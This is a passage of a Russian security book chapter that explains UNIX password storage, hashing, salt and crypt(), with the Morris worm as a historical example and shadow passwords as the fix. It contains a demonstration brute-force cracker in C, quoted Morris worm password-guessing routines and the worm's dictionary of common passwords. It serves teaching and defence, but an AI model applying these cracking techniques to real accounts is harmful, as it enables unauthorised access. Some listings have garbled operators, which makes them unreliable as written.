Впрочем, существует язык, интерпретатор которого установлен на подавляющем большинстве серверов. Речь идет о Perl. Эта аббревиатура расшифровывается как Practical Extraction and Reporting Language - или по-русски Практический Язык для Извлечения (текстов) и Генерации (отчетов).

Одна из легенд утверждает, якобы Perl был создан Ларри Уоллом для поиска и извлечения сообщений из своей огромной базы конференций Usenet.

Ларри Уолл

Но, на самом деле, все происходило не совсем так. Язык Perl действительно создан Ларри Уоллом, выпустившим первую версию в 1986 году и названную им “Gloria”. К этому его побудило несовершенство существующего инструментария разработки средств управления и мониторинга многоуровневых сетей. Ларри испробовал все - и sh, и awk, и sed, и tr, но их возможностей не хватало для элегантного выполнения поставленной задачи и в созданные скрипты постоянно вносить приходилось изменения.

Врезка «информация»

Аббревиатура “awk” представляет собой первые буквы имен разработчиков языка Альфред Эхо (Aho), Питер Вейнбергер (Weinberger), Брайн Керниган (Kernighan). Синтаксис языка напоминал Си и был ориентирован на обработку текстов. От классического Си, awk отличался поддержкой регулярных выражений, ассоциативных массивов и свободным определением типов переменных и описаний.

В конце концов, Ларри решился создать собственный инструментарий. Он заимствовал все лучшее из существующих языков: форматы вывода были скопированы из BASIC, динамические контексты подарил Lisp, ассоциативные массивы пришли из awk, а синтаксис стал неотличим от Си.

Гибрид оказался удачным и быстро завоевал популярность в компьютерных кругах. Успеху способствовала полная неакадемичность языка, проявляющая в огромном количестве умолчаний, часто запутывающая новичка, но сокращающих размер листинга и за это горячо любимыми всеми профессионалами.

Врезка «замечание»

«Реальные языки эволюционируют, они не «топчутся на месте». Действительно революционные компьютерные языки, похоже, не привились. Самыми интересными из последних разработок будут как раз те, которые учитывают особенности и взаимосвязь культурных традиций разных наций. Весь мир превращается в единый компьютер с тесными внутренними связями. Безусловно, XML может помочь выполнять преобразование одних форматов данных в другие, но мы работаем и над тем, чтобы упростить процесс программирования для миллиардов потенциальных программистов во всем мире»

Ларри Уолл

Вскоре Gloria была перекрещена в Pearl (в переводе на русский - жемчужина), а когда выяснилось, что такой язык уже есть, пришлось убрать одну букву, превратив жемчужину в подножную пищу кораблей пустыни (Perl обозначает колючка).

Постепенно к работе над Perl подключились десятки и сотни людей со всех концов Земного Шара и язык начал активно совершенствоваться. Со временем большая часть кода оказалась написана сторонними разработчиками, но Ларри Уолл по-прежнему остается идейным вдохновителем языка, находясь на почетном посту «генерального архитектора».

Сегодня Perl - развитый инструмент, отлично подходящий для создания Internet-приложений. Одно из несомненных достоинств - его бесплатность. Получить копию интерпретатора можно, посетив сайт www.perl.org

Наличие Perl потребуется для большинства примеров этой книги. С его помощью можно сделать практически все что угодно, и порой намного быстрее и элегантнее, чем на классическом Си/Си++. Изначально Perl так и задумывался - как инструмент быстрого программирования. «Мы пытаемся сохранить произведения искусства, продлить их существование, но даже пища, захороненная вместе с фараонами, со временем приходит в негодность. Итак, плоды нашего программирования на Perl то же в чем-то эфемерны. Этот аспект “кухни Perl” часто порицают. Если хотите - называйте его “программированием на скорую руку”, но миллиардные обороты в кафе быстрого обслуживания позволяют надеяться, что быстрая еда может быть качественной (нам хотелось бы в это верить» писал Ларри в предисловии к книге “Perl cookbook”.

Но, каким бы простым Perl не был, он все же требует вдумчивого изучения. Сегодня на рынке по этой теме можно найти множество книг, рассчитанных, как и на профессионалов, так и на начинающих пользователей. Однако для глубокого понимания материалов и примеров, приводимых в этой книге, потребуется не только значение синтаксиса самого языка, но навыки программирования сокетов. По идее эта тема должна излагаться в любой книжке, посвященной сетевому программированию, но легко убедиться: большинство авторов предпочитают ограничиться каркасными библиотеками и не лезть вглубь, на низкий уровень TCP/IP. Зато книги, посвященные Си, часто рассчитаны на профессионального читателя и порой описывают интерфейс сокетов во всех подробностях.

Впрочем, все «темные» места в настоящей книге будут комментироваться достаточно подробно, чтобы даже неподготовленный читатель смог разобраться в излагаемом материале, но лучше все же по ходу дела обращаться к специализированной литературе.

"Будьте вы хоть семи пядей во лбу, - вам никогда не удастся запомнить все напечатанное в грудах книг и таблиц. Ведь в них есть и самое важное, и просто важное, и второстепенное, и, наконец, просто ненужное - то, что либо успело устареть, едва родившись, либо потеряло значение к настоящему времени."

Аркадий Стругацкий, Борис Стругацкий "Страна багровых туч"

Атака на UNIX

O Как хранятся пароли в UNIX

O Что такое привязка?

O Атака на пароль

O Червь Морриса

O Теневые пароли

O Иерархия пользователей

O Тьюринговая атака Томпсона

O Как утащить файл паролей?

O Как устроена функция Crypt

O Перехват личной почты

O Использование конвейера и перенаправления ввода-вывода для атаки

O Доверительные хосты

O Атака Кевина Митника

– То, что вы видите перед собой, - это самое хитрое электронное оружие среди всего, что человечеству удалось пока создать. Система бронирована не хуже какого-нибудь крейсера. И она обязана быть такой, поскольку в мире полным-полно хитрых сторожевых программ, которые вцепляются, подобно терьерам, в любого не прошенного гостя и держат его мертвой хваткой.

John Warley “Press Enter”

«Нынешние кракеры, наверное, кусают себе локти, что родились не 10 лет назад, - ведь тогда хакером мог прослыть тот, кто умел методично перебирать адреса компьютеров и вводить в качестве имени и пароля что-нибудь типа guest/guest. Видимо, большинство хостов (в том числе и военных - в те времена возможность проникновения в секретные хосты не являлась мифом) вскрывались именно так». - писали в своей книге «Атака через Internet Илья Медведовский и Павел Семьянов.

Конечно, сегодня появилось много современных методов аутентификации пользователя, например основанных на биометрических показателях, но ни один из них не получил широкого распространения, и подавляющее большинство защит до сих пор действуют по парольной схеме.

Неудачный выбор пароля и на сегодняшний день остается одной из главных причин успешности большинства атак. Несмотря на все усилия администраторов, рекомендующих пароли в виде бессмысленной нерегулярной последовательности символов наподобие «acs95wM$», пользователи и простые словарные слова запомнить не всегда в состоянии и порой выбирают “12345” или “qwerty”.

Поэтому, подобрать пароль иной раз удается и тривиальным перебором. Разумеется, не обязательно вводить предполагаемые варианты вручную - процесс легко автоматизировать, использовав любую подходящую программу или написав ее самостоятельно (подробнее об этом рассказано в главе «Как устроен генератор паролей»).

Но простой перебор бессилен против современных систем, оснащенных “intruder detection” (в переводе на русский язык- обнаружение нарушителя). Стоит при вводе пароля ошибиться несколько раз подряд - как доступ к системе окажется заблокированным. Шансы же угадать пароль менее чем за десять-двенадцать попыток, равны нулю. Даже если опция “intruder detection” не установлена, скорость перебора окажется крайне низкой, в силу медлительности процесса авторизации.

Очевидно, атакующему приходится искать другие пути. Например, попытаться получить содержимое файла паролей. Однако еще в самых ранних версиях операционной системы UNIX разработчики предвидели последствия хранения паролей в открытом виде и приняли необходимые меры безопасности. В UNIX все пароли хранятся в зашифрованном виде, и даже если подсмотреть содержимое файла паролей, - это ничего не даст. Если, конечно, их не удастся расшифровать. Одни утверждают, дескать, это математически невозможно, другие же проникают в чужие системы, в обход математики. И ниже будет показано как.

Строго говоря, выражение «зашифрованные пароли» в отношении UNIX технически безграмотно. Шифрование в общем случае представляет собой обратимое преобразование: если злоумышленники зашифровали свой секретный плат захвата Белого Дома, а, расшифровав, получили Уголовный Кодекс, то уже не шифрование получается! Но в UNIX дела обстоят еще хуже. Зашифровать-то пароль она зашифрует, но вот расшифровать обратно его не сможет ни злоумышленник, ни легальный пользователь, ни даже сама система! Удивительно, как же она ухитряется работать и безошибочно отличать «своих» от «чужих»?

На самом деле ничего удивительно здесь нет! И подобный алгоритм авторизации известен уже давно. Но прежде, чем приступать к его изучению, рассмотрим, классический способ побайтовой сверки паролей. Для этого окажется не лишним написать коротенькую тестовую программу на языке Си, например, такую (смотри “/SRC/passwd.simple.c”).

· #include «stdio.h»
· #include «string.h»
·
· void main()
· {
· char buf[100],fbuf[100];
· FILE *f;
· if (!(f=fopen("passwd.simple","r"))) return;
· printf("Enter password:");
· fgets( amp;buf[0],100,stdin);
· fgets( amp;fbuf[0],100,f);
· if (strcmp( amp;buf[0], amp;fbuf[0]))
· printf("Wrong password!\n");
· else
· printf("Password ok\n");
·}

Ядро этой простейшей системы аутентификации состоит всего из одной строки (в листинге она выделена жирным шрифтом), побайтно сравнивающей строку, введенную в качестве пароля, со строкой, считанную из файла паролей.

Разумеется, файл паролей необходимо сформировать загодя, и для этого пригодится программа, исходный текст которой приведен ниже (а на диске она находится под именем “/SRC/passwd.simple.add.new.user”):

· #include «stdio.h»
·
· void main(int count, char ** arg)
· {
· char buf[100];
· FILE *f;
· if (!(f=fopen("passwd.simple","w"))) return;
· printf("Enter password:");
· fgets( amp;buf[0],100,stdin);
· fputs( amp;buf[0],f);
· fclose(f);
·}

На запрос “Enter password:” введем любой пришедший на ум пароль. Например, “MyGoodPassword”. Запустив “passwd.simple.exe” убедимся: программа уверенно распознает правильные и ложные пароли, работая на первый взгляд как будто безупречно.

К сожалению, такую защиту очень легко обойти. Если есть доступ к файлу паролей (а если его не будет, как изволите извлекать пароли для проверки?) тривиальный просмотр содержимого позволит получить пароли всех пользователей, а это никак не входит в планы разработчиков защиты.

Для разминки воспользуемся командой “type passwd.simple” и на экране незамедлительно появится содержимое файла паролей:

· type passwd.simple

· MyGoodPassword

Разработчики UNIX нашли оригинальное решение, прибегнув к необратимому преобразованию - хешированию. Предположим, существует некая функция f, преобразующая исходную строку к некой последовательности байт таким образом, чтобы обратный процесс был невозможен или требовал огромного объема вычислений, заведомо недоступного злоумышленнику. Математички это можно записать как:

· f(passwd) -» x

Вся изюминка в том, что если строка s1 равна строке s2, то и f(s1) заведомо равно f(s2). А это дает возможность отказаться от хранения паролей в открытом виде. В самом деле, вместо этого можно сохранить значение функции f(passwd), где passwd оригинальный пароль. Затем применить ту же хеш-функцию к паролю, введенному пользователем (userpasswd), и, если f(userpasswd) - f(passwd), то и userpasswd - passwd! Поэтому, доступность файла «зашифрованных» паролей уже не позволяет воспользоваться ими в корыстных целях, поскольку по условию функция f гарантирует, что результат ее вычислений необратим, и исходный пароль найти невозможно.

Сказанное легче понять, самостоятельно написав простейшую программу, работающую по описанной выше методике. Сначала необходимо выбрать функцию преобразования, отвечающую указанным условиям. К сожалению, это сложная задача, требующая глубоких познаний криптографии и математики, поэтому, просто посчитаем сумму ASCII кодов символов пароля и запомним результат. Пример реализации такого алгоритма приведен ниже (смотри файл “passwd.add.new.user.c”):

· #include «stdio.h»
· #include «string.h»
·
· void main()
· {
· char buf[100],c;
· int sum=0xDEAD,i=0;
· FILE *f;
·
· if (!(f=fopen("passwd","w"))) return;
· printf("Enter password:");
· fgets( amp;buf[0],100,stdin);
· while(buf[i])
· {
· c=buf[i++];
· sum+=c;
· }
· _putw(sum,f);
·}

Запустим откомпилированный пример на выполнение и в качестве пароля введем, например, “MyGoodPassword”. Теперь напишем программу, проверяющую вводимый пользователем пароль. Один из возможных вариантов реализации показан ниже (смотри файл “/SRC/passwd.c”):

· #include «stdio.h»
· #include «string.h»
·
· void main()
· {
· char buf[100],c;
· int sum=0xDEAD,i=0,_passwd;
· FILE *f;
·
· if (!(f=fopen("passwd","r"))) return;
· printf("Enter password:");
· fgets( amp;buf[0],100,stdin);
· _passwd=_getw(f);
·
· while(buf[i])
· {
· c=buf[i++];
· sum+=c;
· }
· if (sum-_passwd)
· printf("Wrong password!\n");
· else
· printf("Password ok\n");
·
·}

Обратите внимание на выделенные строки - и в том, и в другом случае использовалась одна и та же функция преобразования. Убедившись в умении программы отличать «свои» пароли от «чужих», заглянем в файл “passwd”, отдав команду “type passwd”:

· type passwd
· Yф

Совсем другое дело! Попробуй-ка, теперь угадай, какой пароль необходимо ввести, что система его пропустила. Строго говоря, в приведенном примере это можно без труда и задача решается едва ли не в уме, но условимся считать выбранную функцию односторонней и необратимой.

Из односторонности функции следует невозможность восстановления оригинального пароля по его хешу, и доступность файла passwd уже не позволит злоумышленнику проникнуть в систему. Расшифровать пароли невозможно, потому что их там нет. Другой вопрос, удастся ли подобрать некую строку, воспринимаемую системой как правильный пароль? К обсуждению этого вопроса мы еще вернемся позже, а для начала рассмотрим устройство механизма аутентификации в UNIX.

Первые версии UNIX в качестве односторонней функции использовали модифицированный вариант известного криптостойкого алгоритма DES. Под криптостойкостью в данном случае понимается гарантированная невозможность вычисления подходящего пароля никаким иными способом, кроме тупого перебора. Впрочем, существовали платы, реализующие такой перебор на аппаратном уровне и вскрывающие систему за разумное время, поэтому пришлось пойти рискованный шаг, внося некоторые изменения в алгоритм, «ослепляющие» существующее «железо». Риск заключался в возможной потере криптостойкости и необратимости функции. К счастью, этого не произошло.

Другая проблема заключалась в совпадении паролей пользователей. В самом деле, если два человека выберут себе одинаковые пароли, то и хеши этих паролей окажутся одинаковыми (а как же иначе?). А вот это никуда не годится, - в многопользовательской системе шансы подобного совпадения не так малы, как это может показаться на первый взгляд, и в результате возможен несанкционированный доступ к чужим ресурсам.

Разработчики нашли элегантное решение, - результат операции хеширования зависит не только от введенного пароля, но и случайной последовательности бит, называемой привязкой (salt). Разумеется, саму привязку после хеширования необходимо сохранять, иначе процесс не удастся обратить. Однако никакого секрета привязка не представляет, (поскольку шифрует не хеш-сумму, а вводимый пользователем пароль).

Хеш-суммы, привязки и некоторая другая информация в UNIX обычно хранится в файле “/etc/passwd”, состоящего из строк следующего вида:

· kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash

Разберем, что этот дремучий лес обозначает. Первым идет имя пользователя (например, “kpnc”), за ним, отделенное двое точением, следует то, что начинающими по незнанию называется «зашифрованным паролем». На самом деле это никакой не пароль - первые два символа представляют собой сохраненную привязку, а остаток - необратимое преобразование от пароля, то есть хеш. Затем (отделенные двоеточием) идут номер пользователя и номер группы, дополнительная информация о пользователе (как правило, полное имя), а замыкают строй домашний каталог пользователя и оболочка, запускаемая по умолчанию.

Устройство файла /etc/passwd

Шифрование паролей происходит следующим образом, - случайным образом выбираются два символа привязки [100], использующиеся для модификации алгоритма DES. Затем шифруется строка пробелов с использованием пароля в качестве ключа. Полученное 64 битое значение преобразуется в одинадцатисимвольную строку. Спереди к ней дописываются два символа привязки, и на этом весь процесс заканчивается.

Продемонстрировать работу функции crypt поможет следующий пример (на диске он расположен в файле “/SRC/ctypt.c”). Его компиляция потребует библиотеки ast.lib, распространяемой вместе с “UWIN” (смотри главу «Как запускать UNIX приложения на Windows»), если же такой библиотеки у читателя нет, можно воспользоваться готовым к работе файлом “/SRC/crypt.exe”. Для запуска программы в командной строке необходимо указать шифруемый пароль и отделенную пробелом привязку.

· #include «windows.h»
· extern char *crypt(const char*, const char*);
·
· int main(int argc, char *argv[])
· {
· printf("%s\n", crypt (argv[1],argv[2]));
· return 0;
·}

Прототип функции crypt выглядит следующим образом: char * crypt(char *passwd, char *solt), где passwd - пароль для шифрования, а solt - два символа привязки. При успешном выполнении функция возвращает 13-символьный хеш готовый к употреблению - два символа привязки и 11-символьная хеш-сумма пароля.

Теперь можно реализовать некое подобие подсистемы аутентификации UNIX. Сперва необходимо добавить нового пользователя в файл passwd. Одни из вариантов реализации приведен ниже (на диске он находится в файле “/SRC/crypt.auth.add.new.user.c”). Для упрощения, поддерживается только один пользователь.

· #include «stdlib.h»
· #include «stdio.h»
· #include «time.h»
·
· extern char *crypt(const char*, const char*);
·
· int main(int argc, char *argv[])
· {
· int a;
· char salt[3];
· FILE *f;
·
· salt[2]=0;
· srand((unsigned)time(NULL));
· for(a=0;a«2;a++) salt[a]=0x22+(rand() % 0x40);
· if (!(f=fopen("passwd","w"))) return -1;
· fputs(crypt(argv[1], amp;salt[0]),f);
· fclose(f);
· return 0;
·}

Запустим откомпилированный пример и укажем любой произвольный пароль в командной строке, например, так: “crypt.auth.add.new.user.exe 12345”. Теперь заглянем в файл “passwd”. Его содержание должно быть следующим “^37DjO25th9ps” [101]. Очевидно, для проверки правильности вводимого пользователем пароля необходимо выделить первые два символа привязки, вызвать функцию crypt, передав ей в качестве первого параметра проверяемый пароль, а вторым - привязку, в данном случае “^3”, и после завершения работы сравнить полученный результат с “^37DjO25th9ps”. Если обе строки окажутся идентичны - пароль указан верно и, соответственно, наоборот. Все это реализовано в следующем примере, приведенном ниже (на диске он находится в файле “/SRC/crypt.auth.c”):

· #include «stdio.h»
· extern char *crypt(const char*, const char*);
·
· int main(int argc, char *argv[])
· {
· int a=1;
· char salt[2];
· char passwd[12];
· char *x;
· FILE *f;
·
· passwd[11]=0;
· while(a++) if (argv[1][a]«0x10) {argv[1][a]=0;break;}
·
· if (!(f=fopen("passwd","r"))) return -1;
· fgets( amp;salt[0],3,f);
· fgets( amp;passwd[0],12,f);
· fclose(f);
·
· if (strcmp( amp;passwd[0],crypt(argv[1], amp;salt[0])+2))
· printf("Wrong password!\n");
· else
· printf("Password ok\n");
·
· return 0;
·}

Запустим “crypt.auth.exe”, указав в командной строке пароль “12345”. Программа подтвердит правильность пароля. А теперь попробуем ввести другой пароль, - и результат не заставит себя долго ждать.

· crypt.auth.exe 12345

· Password ok

· crypt.auth.exe MyGoodPasswd

· Wrong password!

Время выполнения функции crypt на PDP-11 доходило до одной секунды. Поэтому, разработчики посчитали вполне достаточным ограничить длину пароля восьми символами. Попробуем посчитать какое время необходимо для перебора всех возможных комбинаций. Оно равно ( nk-0+ nk-1+ nk-2+ nk-3+ nk-4 nk)), где n - число допустимых символов пароля, а k - длина пароля. Для 96 читабельных символов латинского алфавита перебор пароля в худшем случае потребует около 7x1015 секунд или более двух сотен миллионов лет! Даже если пароль окажется состоящим из одних цифр (коих всего-навсего десять) в худшем случае его удастся найти за семь лет, а в среднем за срок вдвое меньший.

Другими словами, сломать UNIX в лоб не получится. Если пароли и в самом деле выбирались случайно, дело действительно обстояло именно так. Но в реальной жизни пользователи ведут себя не как на бумаге, и выбирают простые короткие пароли, часто совпадающие с их именем, никак не шифрующимся и хранящимся открытым текстом.

Первой нашумевшей атакой, использующей человеческую беспечность, был незабываемый вирус Морриса. Он распространялся от машины, к машине используя нехитрую методику, которую демонстрирует фрагмент исходного кода вируса, приведенный ниже (на прилагаемом к книге диске он по некоторым причинам отсутствует, однако это никому не помешает найти его в сети самостоятельно):

· /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */
· static strat_1()/* 0x61ca */
· {
· int cnt;
· char usrname[50], buf[50];
·
· for (cnt = 0; x27f2c amp; amp; cnt «50; x27f2c = x27f2c-»next)
· {
· /* Every tenth time look for "me mates" */
· if ((cnt % 10) - 0) other_sleep(0);
·
· /* Check for no passwd */
· // Проверка на пустой пароль
· if (try_passwd(x27f2c, XS("))) continue;/* 1722 */
·
· /* If the passwd is something like "*" punt matching it. */
· // Если вместо пароля стоит символ-джокер, пропускаем такой пароль
· if (strlen(x27f2c-»passwd)!= 13) continue;
·
· // Попробовать в качестве пароля подставить имя пользователя
· strncpy(usrname, x27f2c, sizeof(usrname)-1);
· usrname[sizeof(usrname)-1] = '\0';
· if (try_passwd(x27f2c, usrname)) continue;
·
· // Попробовать в качестве пароля двойное имя пользователя (т.е. для kpnc - kpnckpnc)
· sprintf(buf, XS("%.20s%.20s"), usrname, usrname);
· if (try_passwd(x27f2c, buf)) continue;
·
· // Попробовать в качестве пароля расширенное имя пользователя в нижнем регистре
· sscanf(x27f2c-»gecos, XS("%[^,]"), buf);
· if (isupper(buf[0])) buf[0] = tolower(buf[0]);
· if (strlen(buf)» 3 amp; amp; try_passwd(x27f2c, buf)) continue;
·
· // Попробовать в качестве пароля второе расширенное имя пользователя
· buf[0] = '\0';
· sscanf(x27f2c-»gecos, XS("%*s %[^,]s"), buf);
· if (isupper(buf[0])) buf[0] = tolower(buf[0]);
· if (strlen(buf)» 3 amp; amp; index(buf, ',') - NULL amp; amp;
· try_passwd(x27f2c, buf)) continue;
·
· // Попробовать в качестве пароля имя пользователя задом наперед
· reverse_str(usrname, buf);
· if (try_passwd(x27f2c, buf));
·}
· if (x27f2c - 0) cmode = 2;
· return;
·}

То есть для пользователя с учетной записью «kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash» вирус в качестве пароля перебирал бы следующие варианты:

· пустой пароль (вдруг да повезет!)

· имя пользователя (в приведенном примере kpnc)

· удвоенное имя пользователя (kpnckpnc)

· первое расширенное имя в нижнем регистре (kris)

· второе расширенное имя в нижнем регистре (kaspersky)

· имя пользователя задом-наперед (cnpk)

И это работало! Как сейчас утверждается, инфицированными оказались около шести тысяч компьютеров [102]. Не последнюю роль в проникновении в систему сыграла атака по словарю. Создатель вируса составил список более четырехсот наиболее популярных с его точки зрения паролей, который и приводится ниже. Парадоксально, но даже сегодня он все еще остается актуальным, и многие пользователи ухитряются использовать те же самые слова, что и двадцать лет назад.

academia, aerobics, airplane, albany, albatross,

albert, alex, alexander, algebra, aliases,

alphabet, amorphous, analog, anchor, andromache,

animals, answer, anthropogenic, anvils, anything",

aria, ariadne, arrow, arthur, athena,

atmosphere, aztecs, azure, bacchus, bailey,

banana, bananas, bandit, banks, barber,

baritone, bass, bassoon, batman, beater,

beauty, beethoven, beloved, benz, beowulf,

berkeley, berliner, beryl, beverly, bicameral,

brenda, brian, bridget, broadway, bumbling,

burgess, campanile, cantor, cardinal, carmen,

carolina, caroline, cascades, castle, cayuga,

celtics, cerulean, change, charles, charming,

charon, chester, cigar, classic, clusters,

coffee, coke, collins, commrades, computer,

condo, cookie, cooper, cornelius, couscous,

creation, creosote, cretin, daemon, dancer,

daniel, danny, dave, december, defoe,

deluge, desperate, develop, dieter, digital,

discovery, disney, drought, duncan, eager,

easier, edges, edinburgh, edwin, edwina,

egghead, eiderdown, eileen, einstein, elephant,

elizabeth, ellen, emerald, engine, engineer,

enterprise, enzyme, ersatz, establish, estate,

euclid, evelyn, extension, fairway, felicia,

fender, fermat, fidelity, finite, fishers,

flakes, float, flower, flowers, foolproof,

football, foresight, format, forsythe, fourier,

fred, friend, frighten, fungible, gabriel,

gardner, garfield, gauss, george, gertrude,

ginger, glacier, golfer, gorgeous, gorges,

gosling, gouge, graham, gryphon, guest,

guitar, gumption, guntis, hacker, hamlet,

handily, happening, harmony, harold, harvey,

hebrides, heinlein, hello, help, herbert,

hiawatha, hibernia, honey, horse, horus,

hutchins, imbroglio, imperial, include, ingres,

inna, innocuous, irishman, isis, japan,

jessica, jester, jixian, johnny, joseph,

joshua, judith, juggle, julia, kathleen,

kermit, kernel, kirkland, knight, ladle,

lambda, lamination, larkin, larry, lazarus,

lebesgue, leland, leroy, lewis, light,

lisa, louis, lynne, macintosh, mack,

maggot, magic, malcolm, mark, markus,

marty, marvin, master, maurice, mellon,

merlin, mets, michael, michelle, mike,

minimum, minsky, moguls, moose, morley,

mozart, nancy, napoleon, nepenthe, ness,

network, newton, next, noxious, nutrition,

nyquist, oceanography, ocelot, olivetti, olivia,

oracle, orca, orwell, osiris, outlaw,

oxford, pacific, painless, pakistan, papers,

password, patricia, penguin, peoria, percolate,

persimmon, persona, pete, peter, philip,

phoenix, pierre, pizza, plover, plymouth,

polynomial, pondering, pork, poster, praise,

precious, prelude, prince", princeton", protect,

protozoa, pumpkin, puneet, puppet, rabbit",

rachmaninoff, rainbow, raindrop, raleigh, random,

rascal, really, rebecca, remote, rick,

ripple, robotics, rochester, rolex, romano,

ronald, rosebud, rosemary, roses, ruben,

rules, ruth, saxon, scamper, scheme,

scott, scotty, secret, sensor, serenity,

sharks, sharon, sheffield, sheldon, shiva,

shivers, shuttle, signature, simon, simple,

singer, single, smile, smiles, smooch,

smother, snatch, snoopy, soap, socrates,

sossina, sparrows, spit, spring, springer,

squires, strangle, stratford, stuttgart, subway,

success, summer, super, superstage, support,

supported, surfer, suzanne, swearer, symmetry,

tangerine, tape, target, tarragon, taylor,

telephone, temptation, thailand, tiger, toggle,

tomato, topography, tortoise, toyota, trails,

trivial, trombone, tubas, tuttle, umesh,

unhappy, unicorn, unknown, urchin", utility,

vasant, vertigo, vicky, village, virginia,

warren, water, weenie, whatnot, whiting,

whitney, will, william, williamsburg, willie,

winston, wisconsin, wizard, wombat, woodwind,

wormwood, yacov, yang, yellowstone, yosemite,

zimmerman.

Внимательно просмотрев этот список, можно предположить, что Роберт читал книгу Френка Херберта «Дюна» или, по крайней мере, был знаком с ней. Как знать, может быть, именно она и вдохновила его на создание вируса? Но, так или иначе, вирус был написан, и всякую доступную машину проверял на десять паролей, выбранных их списка наугад, - это частично маскировало присутствие червя в системе. Если же ни один из паролей не подходил, вирус обращался к файлу орфографического словаря, обычно расположенного в каталоге “/usr/dict/words”. Подтверждает эти слова фрагмент вируса, приведенный ниже:

· static dict_words()
· {
· char buf[512];
· struct usr *user;
· static FILE *x27f30;
·
· if (x27f30!= NULL)
· {
· x27f30 = fopen(XS(" /usr/dict/words "), XS("r"));
· if (x27f30 - NULL)return;
·}
· if (fgets(buf, sizeof(buf), x27f30) - 0)
· {
· cmode++;
· return;
·}
· ( amp;buf[strlen(buf)])[-1] = '\0';
·
· for (user = x27f28; user; user = user-»next) try_passwd(user, buf);
· if (!isupper(buf[0])) return;
· buf[0] = tolower(buf[0]);
·
· for (user = x27f28; user; user = user-»next) try_passwd(user, buf);
· return;
·}

Конечно, сегодня наблюдается тенденция к усложнению паролей и выбору случайных, бессмысленных последовательностей, но вместе с этим растет и количество пользователей, - администраторы оказываются просто не в состоянии за всеми уследить и проконтролировать правильность выбора пароля. Поэтому, атака по словарю по-прежнему остается в арсенале злоумышленника. И не только злоумышленника, - ничуть не хуже она служит… администраторам!

В самом деле, - простейший способ уберечь пользователя от слабого пароля - проверить выбранный им пароль по словарю. Любопытно, но словари обеими сторонами (т.е. администраторами и злоумышленниками) обычно берутся из одних и тех же источников, и шансы проникнуть в такую систему, близки к нулю. Вот если бы научится составлять словарь самостоятельно! Но почему нет? Достаточно взять большой текстовой файл и разбить его на слова, отбрасывая заведомо лишние (предлоги, местоимения).

Но даже самый лучший словарь не всегда приводит к успешной атаке. Тем более, пытаясь подобрать пароль администратора, совсем уж тривиальной комбинации ожидать не следует. Но скорость бытовых компьютеров возросла в десятки тысяч раз, и лобовой перебор из утопии превратился в реальность. Там, например, на старших моделях процессора Pentium легко достигнуть скорости в 50.000 паролей в секунду, то есть все комбинации из строчечных латинских букв можно перебрать меньше чем за месяц - вполне приемлемый для злоумышленника срок! А если использовать несколько компьютеров, распараллелив вычисления, время поиска можно уменьшить во много раз - уже с помощью десяти компьютеров (вполне доступных группе злоумышленников) тот же пароль можно найти за пару дней!

Врезка «замечание»

Кену Томпсону приписывается высказывание "When in doubt, use brute force" («Если не знаешь, что выбирать - выбирай грубую силу»)

Ниже приведен демонстрационный вариант программы (на диске, прилагаемом к книге, он находится в файле “/SRC/crypt.ayth.hack.c”), осуществляющей лобовой подбор пароля. Конечно, для практического использования необходимо оптимизировать код, переписав критические участки на ассемблере, но эти вопросы выходят за рамки данной книги, и не рассматриваются в ней.

Перед запуском программы необходимо сформировать на диске файл “passwd” с помощью “crypt.auth.add.new.user”, задав полностью цифровой пароль, например, “12345” (это необходимо для ускорения перебора):

· #include «stdio.h»
· extern char *crypt(const char*, const char*);
·
· int main(int argc, char *argv[])
· {
· int a=1,n=0;
· char salt[2];
· char passwd[12];
· char hack[12];
· FILE *f;
·
· if (!(f=fopen("passwd","r"))) return -1;
· fgets( amp;salt[0],3,f);
· fgets( amp;passwd[0],12,f);
· fclose(f);
·
· for(n=0;n«12;n++) hack[n]=0; hack[0]='0';
·
· while(!(n=0))
· {
· while(++hack[n]»'9')
· {
· hack[n]='0';
· if (hack[++n]-0) hack[n]='0';
·}
· printf("=%s\r", amp;hack[0]);
· if (!strcmp(crypt( amp;hack[0], amp;salt[0])+2, amp;passwd[0]))
· {
· printf("\nPassword ok!\n");
· return 0;
·}
·}
· return 0;
·}

Таким образом, большинство паролей вполне реально вскрыть за вполне приемлемое время, и такая схема аутентификации в настоящее время не может обеспечить должной защищенности. Конечно, можно попробовать увеличить длину пароля с восьми до десяти-двенадцати символов или использовать более ресурсоемкий алгоритм шифрования, но это не спасло бы от коротких и словарных паролей, поэтому разработчики UNIX пошли другим путем [103].

Перебор (как и словарная атака) возможен в тех, и только в тех случаях, когда атакующий имеет доступ к файлу паролей. Большинство современных операционных систем ограничивают количество ошибочных вводов пароля и после нескольких неудачных попыток начинают делать длительные паузы, обессмысливающие перебор. Напротив, если есть возможность получить хеш-суммы пароля, подходящую последовательность можно искать самостоятельно, не прибегая к услугам операционной системы.

Но в UNIX файл паролей доступен всем пользователям, зарегистрированным в системе, - любой из них потенциально способен подобрать пароли всех остальных, в том числе и администратора! Поэтому, в новых версиях UNIX появились так называемые теневые пароли (shadow passwords). Теперь к файлу паролей у непривилегированного пользователя нет никакого доступа, и читать его может только операционная система. Для совместимости с предыдущими версиями файл “/etc/passwd” сохранен, но все пароли из него перекочевали в “/etc/shadow” (название может варьироваться от системы к системе).

· Файл passw:

· kpnc: x:1032:1032:Kris Kaspersky:/home/kpnc:/bin/bash

· Файл shadow:

· kpnc: $1$Gw7SQGfW$w7Ex0aqAI/0SbYD1M0FGL1:11152:0:99999:7:::

На том месте, где в passwd раньше находился пароль, теперь стоит крестик (иногда звездочка), а сам пароль вместе с некоторой дополнительной информацией помещен в shadow, недоступный для чтения простому пользователю. Описание структуры каждой пользовательской записи приведено ниже (смотри рисунок 015.txt). Легко заметить появление новых полей, усиливающих защищенность системы. Это и ограничение срока службы пароля, и времени его изменения, и так далее. В дополнение ко всему сам зашифрованный пароль может содержать программу дополнительной аутентификации, например: “Npge08pfz4wuk;@/sbin/extra”, однако большинство систем обходится и без нее.

Устройство файла теневых паролей

